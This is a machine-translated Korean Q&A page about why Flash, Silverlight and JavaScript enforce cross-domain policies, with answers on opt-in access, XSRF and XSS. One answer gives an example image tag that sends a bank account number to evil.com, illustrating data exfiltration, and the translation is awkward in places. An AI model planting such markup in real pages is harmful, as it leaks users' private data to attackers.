2009-09-20 3 views
-2

약간 성운 질문 :실버 라이트와 플래시 및 자바 스크립트 크로스 도메인 정책

이 질문은 MediaElement를 소스로 MediaStreamSource을 사용하여 실버 비 ASF 스트림을 소비하려는 시도로부터 유래한다. 여기에서 교차 도메인 문제는 매우 실망 스럽습니다.

일반적으로 도메인 간 통신은 웹에서 허용되지 않습니다.

악의적 인 사이트/포함 된 개체 A가 사용자가 로그인 한 보안 사이트 B에 요청을 보낼 수 있다고 말하면 인증 쿠키가 전송 된 다음 잘못된 것입니다.

Flash/Silverlight에서는 호스트의 도메인 간 정책 파일 (예 : B)이 다른 도메인의 통신을 허용하거나 허용하지 않아 상황이 개선되었지만 다른 도메인의 미디어 스트림을 구문 분석 할 때 여전히 제한적입니다.

모든 통신을 허용하지 않고 A-> B에서 쿠키를 보내지 않는 것이 더 나은 해결책이 아닙니까?

무엇이 누락 되었습니까? 현재 어떤 크로스 도메인 규칙/구현 뒤에 다른 원칙이 있습니까?

답변

1

도메인 간 정책에 대한 추론은 쿠키/세션 그 자체가 아닙니다. 웹 콘텐츠가 단지 "벙어리"인 HTML 및 이미지 일 때 사이트 B에 이미지가로드 된 페이지가 표시되면 실제 보안 문제는 없었습니다. 사이트 A. 그리고 보안 문제가없는 경우 (예 : hotli IP 이유를 위해 nking), 서빙 사이트는 세션 등을 필요로 할 수있다. 하지만 이제 웹 자산에는 Flash, SilverLight, JS, iFrames 및 바이너리 스트림과 같은 스크립팅 가능 항목이 포함되어 있으므로 다른 사이트의 페이지에 표시 될 때 스크립트에 액세스 할 수 있으면 보안 위험이 모두 가능합니다.

따라서 도메인 간 정책은 기본적으로 사이트가 활성 자산에 대한 액세스를 수동으로 차단함으로써 사이트가 그러한 위험을 "선택 해제"하는 것을 기대하는 것이 부당하다는 것을 보여줍니다 (핫 링크 된 이미지를 차단하려는 경우해야합니다. 특정 페이지에 대한 세션). 부담은 더 안전한 경우를 기본으로 반전되므로 서비스 사이트는 크로스 도메인을 사용할 자산을 구체적으로 선택하고이를 사용할 수 있도록 할 대상을 선택하여 그러한 위험을 "선택"해야합니다.

1

인증 쿠키 (XSRF, 일부 XSS 시나리오)의 잘못된 사용은 문제의 일부입니다. 또한 "좋은"사이트의 정보를 쿼리 문자열을 통해 "악의적 인"사이트로 보내면 쉽게 처리 할 수 ​​있습니다 (예 : 은행 페이지의 일부 데이터를 가져 와서 evil.com에 보내려면 <image src="http://evil.com/1px.gif?bankaccount=1122334455"/>

) 차단 쿠키로 인해 액세스가 제한 될 수 있습니다. 나쁜 사이트 일 수도 있지만 스크립트 삽입이나 다른 공격으로 인해 신뢰할 수있는 사이트에 데이터가 노출되어 나쁜 사이트로 전송 될 수 있고 쿠키가 필요하지 않은 경우도 보호해야합니다.

관련 문제